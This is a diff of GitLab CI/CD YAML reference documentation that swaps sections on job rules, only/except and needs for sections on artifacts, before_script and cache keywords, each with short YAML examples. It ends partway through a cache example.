+Use `expire_in` to specify how long [job artifacts](../pipelines/job_artifacts.md) are stored before
+they expire and are deleted. The `expire_in` setting does not affect:
-`rules` replaces [`only/except`](#only--except) and they can't be used together
-in the same job. If you configure one job to use both keywords, the GitLab returns
-a `key may not be used with rules` error.
+- Artifacts from the latest job, unless keeping the latest job artifacts is:
+ - [Disabled at the project level](../pipelines/job_artifacts.md#keep-artifacts-from-most-recent-successful-jobs).
+ - [Disabled instance-wide](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines).
+- [Pipeline artifacts](../pipelines/pipeline_artifacts.md). You can't specify an expiration date for
+ pipeline artifacts. See [When pipeline artifacts are deleted](../pipelines/pipeline_artifacts.md#when-pipeline-artifacts-are-deleted)
+ for more information.
-`rules` accepts an array of rules defined with:
+After their expiry, artifacts are deleted hourly by default (using a cron job), and are not
+accessible anymore.
-- `if`
-- `changes`
-- `exists`
-- `allow_failure`
-- `variables`
-- `when`
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
-You can combine multiple keywords together for [complex rules](../jobs/job_control.md#complex-rules).
+**Possible inputs**: The expiry time. If no unit is provided, the time is in seconds.
+Valid values include:
-The job is added to the pipeline:
+- `'42'`
+- `42 seconds`
+- `3 mins 4 sec`
+- `2 hrs 20 min`
+- `2h20min`
+- `6 mos 1 day`
+- `47 yrs 6 mos and 4d`
+- `3 weeks and 2 days`
+- `never`
-- If an `if`, `changes`, or `exists` rule matches and also has `when: on_success` (default),
- `when: delayed`, or `when: always`.
-- If a rule is reached that is only `when: on_success`, `when: delayed`, or `when: always`.
+**Example of `artifacts:expire_in`**:
-The job is not added to the pipeline:
+```yaml
+job:
+ artifacts:
+ expire_in: 1 week
+```
-- If no rules match.
-- If a rule matches and has `when: never`.
+**Additional details**:
-You can use [`!reference` tags](yaml_optimization.md#reference-tags) to [reuse `rules` configuration](../jobs/job_control.md#reuse-rules-in-different-jobs)
-in different jobs.
+- The expiration time period begins when the artifact is uploaded and stored on GitLab.
+ If the expiry time is not defined, it defaults to the [instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration).
+- To override the expiration date and protect artifacts from being automatically deleted:
+ - Select **Keep** on the job page.
+ - [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/22761), set the value of
+ `expire_in` to `never`.
-#### `rules:if`
+#### `artifacts:expose_as`
-Use `rules:if` clauses to specify when to add a job to a pipeline:
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15018) in GitLab 12.5.
-- If an `if` statement is true, add the job to the pipeline.
-- If an `if` statement is true, but it's combined with `when: never`, do not add the job to the pipeline.
-- If no `if` statements are true, do not add the job to the pipeline.
+Use the `artifacts:expose_as` keyword to
+[expose job artifacts in the merge request UI](../pipelines/job_artifacts.md#expose-job-artifacts-in-the-merge-request-ui).
-`if:` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md)
-or [custom CI/CD variables](../variables/index.md#custom-cicd-variables).
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
-**Keyword type**: Job-specific and pipeline-specific. You can use it as part of a job
-to configure the job behavior, or with [`workflow`](#workflow) to configure the pipeline behavior.
+**Possible inputs**:
-**Possible inputs**: A [CI/CD variable expression](../jobs/job_control.md#cicd-variable-expressions).
+- The name to display in the merge request UI for the artifacts download link.
+ Must be combined with [`artifacts:paths`](#artifactspaths).
-**Example of `rules:if`**:
+**Example of `artifacts:expose_as`**:
```yaml
-job:
- script: echo "Hello, Rules!"
- rules:
- - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME != $CI_DEFAULT_BRANCH'
- when: never
- - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/'
- when: manual
- allow_failure: true
- - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME'
+test:
+ script: ["echo 'test' > file.txt"]
+ artifacts:
+ expose_as: 'artifact 1'
+ paths: ['file.txt']
```
**Additional details**:
-- If a rule matches and has no `when` defined, the rule uses the `when`
- defined for the job, which defaults to `on_success` if not defined.
-- You can define `when` once per rule, or once at the job-level, which applies to
- all rules. You can't mix `when` at the job-level with `when` in rules.
-- Unlike variables in [`script`](../variables/index.md#use-cicd-variables-in-job-scripts)
- sections, variables in rules expressions are always formatted as `$VARIABLE`.
- - You can use `rules:if` with `include` to [conditionally include other configuration files](includes.md#use-rules-with-include).
+- If `artifacts:paths` uses [CI/CD variables](../variables/index.md), the artifacts do not display in the UI.
+- A maximum of 10 job artifacts per merge request can be exposed.
+- Glob patterns are unsupported.
+- If a directory is specified and there is more than one file in the directory,
+ the link is to the job [artifacts browser](../pipelines/job_artifacts.md#download-job-artifacts).
+- If [GitLab Pages](../../administration/pages/index.md) is enabled, GitLab automatically
+ renders the artifacts when the artifacts is a single file with one of these extensions:
+ - `.html` or `.htm`
+ - `.txt`
+ - `.json`
+ - `.xml`
+ - `.log`
**Related topics**:
-- [Common `if` expressions for `rules`](../jobs/job_control.md#common-if-clauses-for-rules).
-- [Avoid duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines).
-
-#### `rules:changes`
-
-Use `rules:changes` to specify when to add a job to a pipeline by checking for changes
-to specific files.
-
-WARNING:
-You should use `rules: changes` only with **branch pipelines** or **merge request pipelines**.
-You can use `rules: changes` with other pipeline types, but `rules: changes` always
-evaluates to true when there is no Git `push` event. Tag pipelines, scheduled pipelines,
-and so on do **not** have a Git `push` event associated with them. A `rules: changes` job
-is **always** added to those pipelines if there is no `if:` that limits the job to
-branch or merge request pipelines.
-
-**Keyword type**: Job keyword. You can use it only as part of a job.
-
-**Possible inputs**: An array of file paths. In GitLab 13.6 and later,
-[file paths can include variables](../jobs/job_control.md#variables-in-ruleschanges).
-
-**Example of `rules:changes`**:
-
-```yaml
-docker build:
- script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
- rules:
- - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
- changes:
- - Dockerfile
- when: manual
- allow_failure: true
-```
+- [Expose job artifacts in the merge request UI](../pipelines/job_artifacts.md#expose-job-artifacts-in-the-merge-request-ui).
-- If the pipeline is a merge request pipeline, check `Dockerfile` for changes.
-- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and the pipeline
- continues running even if the job is not triggered (`allow_failure: true`).
-- If `Dockerfile` has not changed, do not add job to any pipeline (same as `when: never`).
+#### `artifacts:name`
-**Additional details**:
+Use the `artifacts:name` keyword to define the name of the created artifacts
+archive. You can specify a unique name for every archive.
-- `rules: changes` works the same way as [`only: changes` and `except: changes`](#onlychanges--exceptchanges).
-- You can use `when: never` to implement a rule similar to [`except:changes`](#onlychanges--exceptchanges).
-- `changes` resolves to `true` if any of the matching files are changed (an `OR` operation).
-
-#### `rules:exists`
+If not defined, the default name is `artifacts`, which becomes `artifacts.zip` when downloaded.
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24021) in GitLab 12.4.
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
-Use `exists` to run a job when certain files exist in the repository.
+**Possible inputs**:
-**Keyword type**: Job keyword. You can use it only as part of a job.
+- The name of the artifacts archive. Can use [CI/CD variables](../variables/index.md). Must be combined with
+ [`artifacts:paths`](#artifactspaths).
-**Possible inputs**: An array of file paths. Paths are relative to the project directory (`$CI_PROJECT_DIR`)
-and can't directly link outside it. File paths can use glob patterns.
+**Example of `artifacts:name`**:
-**Example of `rules:exists`**:
+To create an archive with a name of the current job:
```yaml
job:
- script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
- rules:
- - exists:
- - Dockerfile
+ artifacts:
+ name: "job1-artifacts-file"
+ paths:
+ - binaries/
```
-`job` runs if a `Dockerfile` exists anywhere in the repository.
-
-**Additional details**:
-
-- Glob patterns are interpreted with Ruby [`File.fnmatch`](https://docs.ruby-lang.org/en/2.7.0/File.html#method-c-fnmatch)
- with the flags `File::FNM_PATHNAME | File::FNM_DOTMATCH | File::FNM_EXTGLOB`.
-- For performance reasons, GitLab matches a maximum of 10,000 `exists` patterns or
- file paths. After the 10,000th check, rules with patterned globs always match.
- In other words, the `exists` rule always assumes a match in projects with more
- than 10,000 files.
-- `exists` resolves to `true` if any of the listed files are found (an `OR` operation).
+**Related topics**:
-#### `rules:allow_failure`
+- [Use CI/CD variables to define the artifacts name](../pipelines/job_artifacts.md#use-cicd-variables-to-define-the-artifacts-name).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30235) in GitLab 12.8.
+#### `artifacts:paths`
-Use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail
-without stopping the pipeline.
+Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly
+link outside it.
-You can also use `allow_failure: true` with a manual job. The pipeline continues
-running without waiting for the result of the manual job. `allow_failure: false`
-combined with `when: manual` in rules causes the pipeline to wait for the manual
-job to run before continuing.
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
-**Keyword type**: Job keyword. You can use it only as part of a job.
+**Possible inputs**:
-**Possible inputs**: `true` or `false`. Defaults to `false` if not defined.
+- An array of file paths, relative to the project directory.
+- You can use Wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming))
+ patterns and:
+ - In [GitLab Runner 13.0 and later](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620),
+ [`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match).
+ - In GitLab Runner 12.10 and earlier, [`filepath.Match`](https://pkg.go.dev/path/filepath#Match).
-**Example of `rules:allow_failure`**:
+**Example of `artifacts:paths`**:
```yaml
job:
- script: echo "Hello, Rules!"
- rules:
- - if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == $CI_DEFAULT_BRANCH'
- when: manual
- allow_failure: true
+ artifacts:
+ paths:
+ - binaries/
+ - .config
```
-If the rule matches, then the job is a manual job with `allow_failure: true`.
+This example creates an artifact with `.config` and all the files in the `binaries` directory.
**Additional details**:
-- The rule-level `rules:allow_failure` overrides the job-level [`allow_failure`](#allow_failure),
- and only applies when the specific rule triggers the job.
-
-#### `rules:variables`
+- If not used with [`artifacts:name`](#artifactsname) defined, the artifacts file
+ is named `artifacts`, which becomes `artifacts.zip` when downloaded.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/209864) in GitLab 13.7.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/289803) in GitLab 13.10.
+**Related topics**:
-Use [`variables`](#variables) in `rules:` to define variables for specific conditions.
+- To restrict which jobs a specific job fetches artifacts from, see [`dependencies`](#dependencies).
+- [Create job artifacts](../pipelines/job_artifacts.md#create-job-artifacts).
-**Keyword type**: Job-specific. You can use it only as part of a job.
-
-**Possible inputs**: A hash of variables in the format `VARIABLE-NAME: value`.
+#### `artifacts:public`
-**Example of `rules:variables`**:
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49775) in GitLab 13.8
+> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
+> - It's disabled on GitLab.com.
+> - It's recommended for production use.
-```yaml
-job:
- variables:
- DEPLOY_VARIABLE: "default-deploy"
- rules:
- - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
- variables: # Override DEPLOY_VARIABLE defined
- DEPLOY_VARIABLE: "deploy-production" # at the job level.
- - if: $CI_COMMIT_REF_NAME =~ /feature/
- variables:
- IS_A_FEATURE: "true" # Define a new variable.
- script:
- - echo "Run script with $DEPLOY_VARIABLE as an argument"
- - echo "Run another script if $IS_A_FEATURE exists"
-```
+FLAG:
+On self-managed GitLab, by default this feature is not available. To make it available,
+ask an administrator to [enable the feature flag](../../administration/feature_flags.md) named `non_public_artifacts`. On
+GitLab.com, this feature is not available.
-### `only` / `except`
+Use `artifacts:public` to determine whether the job artifacts should be
+publicly available.
-NOTE:
-`only` and `except` are not being actively developed. [`rules`](#rules) is the preferred
-keyword to control when to add jobs to pipelines.
+When `artifacts:public` is `true` (default), the artifacts in
+public pipelines are available for download by anonymous and guest users.
-You can use `only` and `except` to control when to add jobs to pipelines.
+To deny read access for anonymous and guest users to artifacts in public
+pipelines, set `artifacts:public` to `false`:
-- Use `only` to define when a job runs.
-- Use `except` to define when a job **does not** run.
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
-Four keywords can be used with `only` and `except`:
+**Possible inputs**:
-- [`refs`](#onlyrefs--exceptrefs)
-- [`variables`](#onlyvariables--exceptvariables)
-- [`changes`](#onlychanges--exceptchanges)
-- [`kubernetes`](#onlykubernetes--exceptkubernetes)
+- `true` (default if not defined) or `false`.
-See [specify when jobs run with `only` and `except`](../jobs/job_control.md#specify-when-jobs-run-with-only-and-except)
-for more details and examples.
+**Example of `artifacts:paths`**:
-#### `only:refs` / `except:refs`
+```yaml
+job:
+ artifacts:
+ public: false
+```
-Use the `only:refs` and `except:refs` keywords to control when to add jobs to a
-pipeline based on branch names or pipeline types.
+#### `artifacts:reports`
-**Keyword type**: Job keyword. You can use it only as part of a job.
+Use [`artifacts:reports`](artifacts_reports.md) to collect artifacts generated by
+included templates in jobs.
-**Possible inputs**: An array including any number of:
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
-- Branch names, for example `main` or `my-feature-branch`.
-- [Regular expressions](../jobs/job_control.md#only--except-regex-syntax)
- that match against branch names, for example `/^feature-.*/`.
-- The following keywords:
+**Possible inputs**:
- | **Value** | **Description** |
- | -------------------------|-----------------|
- | `api` | For pipelines triggered by the [pipelines API](../../api/pipelines.md#create-a-new-pipeline). |
- | `branches` | When the Git reference for a pipeline is a branch. |
- | `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/index.md) command. |
- | `external` | When you use CI services other than GitLab. |
- | `external_pull_requests` | When an external pull request on GitHub is created or updated (See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests)). |
- | `merge_requests` | For pipelines created when a merge request is created or updated. Enables [merge request pipelines](../pipelines/merge_request_pipelines.md), [merged results pipelines](../pipelines/pipelines_for_merged_results.md), and [merge trains](../pipelines/merge_trains.md). |
- | `pipelines` | For [multi-project pipelines](../pipelines/multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../pipelines/multi_project_pipelines.md#create-multi-project-pipelines-by-using-the-api), or the [`trigger`](#trigger) keyword. |
- | `pushes` | For pipelines triggered by a `git push` event, including for branches and tags. |
- | `schedules` | For [scheduled pipelines](../pipelines/schedules.md). |
- | `tags` | When the Git reference for a pipeline is a tag. |
- | `triggers` | For pipelines created by using a [trigger token](../triggers/index.md#authentication-tokens). |
- | `web` | For pipelines created by selecting **Run pipeline** in the GitLab UI, from the project's **CI/CD > Pipelines** section. |
+- See list of available [artifacts reports types](artifacts_reports.md).
-**Example of `only:refs` and `except:refs`**:
+**Example of `artifacts:reports`**:
```yaml
-job1:
- script: echo
- only:
- - main
- - /^issue-.*$/
- - merge_requests
-
-job2:
- script: echo
- except:
- - main
- - /^stable-branch.*$/
- - schedules
+rspec:
+ stage: test
+ script:
+ - bundle install
+ - rspec --format RspecJunitFormatter --out rspec.xml
+ artifacts:
+ reports:
+ junit: rspec.xml
```
-**Additional details:**
-
-- Scheduled pipelines run on specific branches, so jobs configured with `only: branches`
- run on scheduled pipelines too. Add `except: schedules` to prevent jobs with `only: branches`
- from running on scheduled pipelines.
-- `only` or `except` used without any other keywords are equivalent to `only: refs`
- or `except: refs`. For example, the following two jobs configurations have the same
- behavior:
-
- ```yaml
- job1:
- script: echo
- only:
- - branches
-
- job2:
- script: echo
- only:
- refs:
- - branches
- ```
-
-- If a job does not use `only`, `except`, or [`rules`](#rules), then `only` is set to `branches`
- and `tags` by default.
+**Additional details**:
- For example, `job1` and `job2` are equivalent:
+- Combining reports in parent pipelines using [artifacts from child pipelines](#needspipelinejob) is
+ not supported. Track progress on adding support in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/215725).
+- To be able to browse the report output files, include the [`artifacts:paths`](#artifactspaths) keyword. Please note that this will upload and store the artifact twice.
+- The test reports are collected regardless of the job results (success or failure).
+ You can use [`artifacts:expire_in`](#artifactsexpire_in) to set up an expiration
+ date for artifacts reports.
- ```yaml
- job1:
- script: echo 'test'
+#### `artifacts:untracked`
- job2:
- script: echo 'test'
- only:
- - branches
- - tags
- ```
+Use `artifacts:untracked` to add all Git untracked files as artifacts (along
+with the paths defined in `artifacts:paths`). `artifacts:untracked` ignores configuration
+in the repository's `.gitignore` file.
-#### `only:variables` / `except:variables`
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
-Use the `only:variables` or `except:variables` keywords to control when to add jobs
-to a pipeline, based on the status of [CI/CD variables](../variables/index.md).
+**Possible inputs**:
-**Keyword type**: Job keyword. You can use it only as part of a job.
+- `true` or `false` (default if not defined).
-**Possible inputs**: An array of [CI/CD variable expressions](../jobs/job_control.md#cicd-variable-expressions).
+**Example of `artifacts:untracked`**:
-**Example of `only:variables`**:
+Save all Git untracked files:
```yaml
-deploy:
- script: cap staging deploy
- only:
- variables:
- - $RELEASE == "staging"
- - $STAGING
+job:
+ artifacts:
+ untracked: true
```
**Related topics**:
-- [`only:variables` and `except:variables` examples](../jobs/job_control.md#only-variables--except-variables-examples).
-
-#### `only:changes` / `except:changes`
+- [Add untracked files to artifacts](../pipelines/job_artifacts.md#add-untracked-files-to-artifacts).
-Use the `changes` keyword with `only` to run a job, or with `except` to skip a job,
-when a Git push event modifies a file.
-
-Use `changes` in pipelines with the following refs:
+#### `artifacts:when`
-- `branches`
-- `external_pull_requests`
-- `merge_requests` (see additional details about [using `only:changes` with pipelines for merge requests](../jobs/job_control.md#use-onlychanges-with-pipelines-for-merge-requests))
+Use `artifacts:when` to upload artifacts on job failure or despite the
+failure.
-**Keyword type**: Job keyword. You can use it only as part of a job.
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
-**Possible inputs**: An array including any number of:
+**Possible inputs**:
-- Paths to files.
-- Wildcard paths for single directories, for example `path/to/directory/*`, or a directory
- and all its subdirectories, for example `path/to/directory/**/*`.
-- Wildcard ([glob](https://en.wikipedia.org/wiki/Glob_(programming))) paths for all
- files with the same extension or multiple extensions, for example `*.md` or `path/to/directory/*.{rb,py,sh}`.
-- Wildcard paths to files in the root directory, or all directories, wrapped in double quotes.
- For example `"*.json"` or `"**/*.json"`.
+- `on_success` (default): Upload artifacts only when the job succeeds.
+- `on_failure`: Upload artifacts only when the job fails.
+- `always`: Always upload artifacts. For example, when
+ [uploading artifacts](../unit_test_reports.md#viewing-junit-screenshots-on-gitlab)
+ required to troubleshoot failing tests.
-**Example of `only:changes`**:
+**Example of `artifacts:when`**:
```yaml
-docker build:
- script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
- only:
- refs:
- - branches
- changes:
- - Dockerfile
- - docker/scripts/*
- - dockerfiles/**/*
- - more_scripts/*.{rb,py,sh}
- - "**/*.json"
+job:
+ artifacts:
+ when: on_failure
```
-**Additional details**:
-
-- `changes` resolves to `true` if any of the matching files are changed (an `OR` operation).
-- If you use refs other than `branches`, `external_pull_requests`, or `merge_requests`,
- `changes` can't determine if a given file is new or old and always returns `true`.
-- If you use `only: changes` with other refs, jobs ignore the changes and always run.
-- If you use `except: changes` with other refs, jobs ignore the changes and never run.
-
-**Related topics**:
+### `before_script`
-- [`only: changes` and `except: changes` examples](../jobs/job_control.md#onlychanges--exceptchanges-examples).
-- If you use `changes` with [only allow merge requests to be merged if the pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds),
- you should [also use `only:merge_requests`](../jobs/job_control.md#use-onlychanges-with-pipelines-for-merge-requests).
-- Use `changes` with [new branches or tags *without* pipelines for merge requests](../jobs/job_control.md#use-onlychanges-without-pipelines-for-merge-requests).
-- Use `changes` with [scheduled pipelines](../jobs/job_control.md#use-onlychanges-with-scheduled-pipelines).
-
-#### `only:kubernetes` / `except:kubernetes`
+Use `before_script` to define an array of commands that should run before each job's
+`script` commands, but after [artifacts](#artifacts) are restored.
-Use `only:kubernetes` or `except:kubernetes` to control if jobs are added to the pipeline
-when the Kubernetes service is active in the project.
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
-**Keyword type**: Job-specific. You can use it only as part of a job.
+**Possible inputs**: An array including:
-**Possible inputs**: The `kubernetes` strategy accepts only the `active` keyword.
+- Single line commands.
+- Long commands [split over multiple lines](script.md#split-long-commands).
+- [YAML anchors](yaml_optimization.md#yaml-anchors-for-scripts).
-**Example of `only:kubernetes`**:
+**Example of `before_script`**:
```yaml
-deploy:
- only:
- kubernetes: active
+job:
+ before_script:
+ - echo "Execute this command before any 'script:' commands."
+ script:
+ - echo "This command executes after the job's 'before_script' commands."
```
-In this example, the `deploy` job runs only when the Kubernetes service is active
-in the project.
-
-### `needs`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/47063) in GitLab 12.2.
-> - In GitLab 12.3, maximum number of jobs in `needs` array raised from five to 50.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30631) in GitLab 12.8, `needs: []` lets jobs start immediately.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30632) in GitLab 14.2, you can refer to jobs in the same stage as the job you are configuring.
+**Additional details**:
-Use `needs:` to execute jobs out-of-order. Relationships between jobs
-that use `needs` can be visualized as a [directed acyclic graph](../directed_acyclic_graph/index.md).
+- Scripts you specify in `before_script` are concatenated with any scripts you specify
+ in the main [`script`](#script). The combined scripts execute together in a single shell.
-You can ignore stage ordering and run some jobs without waiting for others to complete.
-Jobs in multiple stages can run concurrently.
+**Related topics**:
-**Keyword type**: Job keyword. You can use it only as part of a job.
+- [Use `before_script` with `default`](script.md#set-a-default-before_script-or-after_script-for-all-jobs)
+ to define a default array of commands that should run before the `script` commands in all jobs.
+- You can [ignore non-zero exit codes](script.md#ignore-non-zero-exit-codes).
+- [Use color codes with `before_script`](script.md#add-color-codes-to-script-output)
+ to make job logs easier to review.
+- [Create custom collapsible sections](../jobs/index.md#custom-collapsible-sections)
+ to simplify job log output.
-**Possible inputs**:
+### `cache`
-- An array of jobs.
-- An empty array (`[]`), to set the job to start as soon as the pipeline is created.
+Use `cache` to specify a list of files and directories to
+cache between jobs. You can only use paths that are in the local working copy.
-**Example of `needs`**:
+Caching is shared between pipelines and jobs. Caches are restored before [artifacts](#artifacts).
-```yaml
-linux:build:
- stage: build
- script: echo "Building linux..."
+Learn more about caches in [Caching in GitLab CI/CD](../caching/index.md).
-mac:build:
- stage: build
- script: echo "Building mac..."
+#### `cache:paths`
-lint:
- stage: test
- needs: []
- script: echo "Linting..."
+Use the `cache:paths` keyword to choose which files or directories to cache.
-linux:rspec:
- stage: test
- needs: ["linux:build"]
- script: echo "Running rspec on linux..."
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
-mac:rspec:
- stage: test
- needs: ["mac:build"]
- script: echo "Running rspec on mac..."
+**Possible inputs**:
-production:
- stage: deploy
- script: echo "Running production..."
-```
+- An array of paths relative to the project directory (`$CI_PROJECT_DIR`).
+ You can use wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming))
+ patterns:
+ - In [GitLab Runner 13.0 and later](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620),
+ [`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match).
+ - In GitLab Runner 12.10 and earlier,
+ [`filepath.Match`](https://pkg.go.dev/path/filepath#Match).
-This example creates four paths of execution:
+**Example of `cache:paths`**:
-- Linter: The `lint` job runs immediately without waiting for the `build` stage
- to complete because it has no needs (`needs: []`).
-- Linux path: The `linux:rspec` job runs as soon as the `linux:build`
- job finishes, without waiting for `mac:build` to finish.
-- macOS path: The `mac:rspec` jobs runs as soon as the `mac:build`
- job finishes, without waiting for `linux:build` to finish.
-- The `production` job runs as soon as all previous jobs finish:
- `linux:build`, `linux:rspec`, `mac:build`, `mac:rspec`.
+Cache all files in `binaries` that end in `.apk` and the `.config` file:
-**Additional details**:
+```yaml
+rspec:
+ script:
+ - echo "This job uses a cache."
+ cache:
+ key: binaries-cache
+ paths:
+ - binaries/*.apk
+ - .config
+```
-- The maximum number of jobs that a single job can have in the `needs:` array is limited:
- - For GitLab.com, the limit is 50. For more information, see our
- [infrastructure issue](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7541).
- - For self-managed instances, the default limit is 50. This limit [can be changed](../../administration/cicd.md#set-the-needs-job-limit).
-- If `needs:` refers to a job that uses the [`parallel`](#parallel) keyword,
- it depends on all jobs created in parallel, not just one job. It also downloads
- artifacts from all the parallel jobs by default. If the artifacts have the same
- name, they overwrite each other and only the last one downloaded is saved.
-- In [GitLab 14.1 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/30632) you
- can refer to jobs in the same stage as the job you are configuring. This feature is
- enabled on GitLab.com and ready for production use. On self-managed [GitLab 14.2 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/30632)
- this feature is available by default.
-- In GitLab 14.0 and older, you can only refer to jobs in earlier stages. Stages must be
- explicitly defined for all jobs that use the `needs:` keyword, or are referenced
- in a job's `needs:` section.
-- In GitLab 13.9 and older, if `needs:` refers to a job that might not be added to
- a pipeline because of `only`, `except`, or `rules`, the pipeline might fail to create.
+**Related topics**:
-#### `needs:artifacts`
+- See the [common `cache` use cases](../caching/index.md#common-use-cases-for-caches) for more
+ `cache:paths` examples.
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14311) in GitLab 12.6.
+#### `cache:key`
-When a job uses `needs`, it no longer downloads all artifacts from previous stages
-by default, because jobs with `needs` can start before earlier stages complete. With
-`needs` you can only download artifacts from the jobs listed in the `needs:` configuration.
+Use the `cache:key` keyword to give each cache a unique identifying key. All jobs
+that use the same cache key use the same cache, including in different pipelines.
-Use `artifacts: true` (default) or `artifacts: false` to control when artifacts are
-downloaded in jobs that use `needs`.
+If not set, the default key is `default`. All jobs with the `cache` keyword but
+no `cache:key` share the `default` cache.
-**Keyword type**: Job keyword. You can use it only as part of a job. Must be used with `needs:job`.
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
**Possible inputs**:
-- `true` (default) or `false`.
+- A string.
+- A [predefined variables](../variables/index.md).
+- A combination of both.
-**Example of `needs:artifacts`**:
+**Example of `cache:key`**:
```yaml
-test-job1:
- stage: test
- needs:
- - job: build_job1
- artifacts: true
-
-test-job2:
- stage: test
- needs:
- - job: build_job2
- artifacts: false
-
-test-job3:
- needs:
- - job: build_job1
- artifacts: true
- - job: build_job2
- - build_job3
+cache-job:
+ script:
+ - echo "This job uses a cache."
+ cache:
+ key: binaries-cache-$CI_COMMIT_REF_SLUG
+ paths:
+ - binaries/
```
-In this example:
+**Additional details**:
-- The `test-job1` job downloads the `build_job1` artifacts
-- The `test-job2` job does not download the `build_job2` artifacts.
-- The `test-job3` job downloads the artifacts from all three `build_jobs`, because
- `artifacts:` is `true`, or defaults to `true`, for all three needed jobs.
+- If you use **Windows Batch** to run your shell scripts you must replace
+ `$` with `%`. For example: `key: %CI_COMMIT_REF_SLUG%`
+- The `cache:key` value can't contain:
-**Additional details**:
+ - The `/` character, or the equivalent URI-encoded `%2F`.
+ - Only the `.` character (any number), or the equivalent URI-encoded `%2E`.
-- In GitLab 12.6 and later, you can't combine the [`dependencies`](#dependencies) keyword
- with `needs`.
+- The cache is shared between jobs, so if you're using different
+ paths for different jobs, you should also set a different `cache:key`.
+ Otherwise cache content can be overwritten.
-#### `needs:project` **(PREMIUM)**
+**Related topics**:
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14311) in GitLab 12.7.
+- You can specify a [fallback cache key](../caching/index.md#use-a-fallback-cache-key)
+ to use if the specified `cache:key` is not found.
+- You can [use multiple cache keys](../caching/index.md#use-multiple-caches) in a single job.
+- See the [common `cache` use cases](../caching/index.md#common-use-cases-for-caches) for more
+ `cache:key` examples.
-Use `needs:project` to download artifacts from up to five jobs in other pipelines.
-The artifacts are downloaded from the latest successful pipeline for the specified ref.
+##### `cache:key:files`
-If there is a pipeline running for the specified ref, a job with `needs:project`
-does not wait for the pipeline to complete. Instead, the job downloads the artifact
-from the latest pipeline that completed successfully.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18986) in GitLab 12.5.
-`needs:project` must be used with `job:`, `ref:`, and `artifacts:`.
+Use the `cache:key:files` keyword to generate a new key when one or two specific files
+change. `cache:key:files` lets you reuse some caches, and rebuild them less often,
+which speeds up subsequent pipeline runs.
-**Keyword type**: Job keyword. You can use it only as part of a job.
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
**Possible inputs**:
-- `needs:project`: A full project path, including namespace and group. If the
- project is in the same group or namespace, you can omit them from the `project:`
- keyword. For example: `project: group/project-name` or `project: project-name`.
-- `job`: The job to download artifacts from.
-- `ref`: The ref to download artifacts from.
-- `artifacts`: Must be `true` to download artifacts.
+- An array of one or two file paths.
-**Examples of `needs:project`**:
+**Example of `cache:key:files`**:
```yaml
-build_job:
- stage: build
+cache-job:
script:
- - ls -lhR
- needs:
- - project: namespace/group/project-name
- job: build-1
- ref: main
- artifacts: true
+ - echo "This job uses a cache."
+ cache:
+ key:
+ files:
+ - Gemfile.lock
+ - package.json
+ paths:
+ - vendor/ruby
+ - node_modules
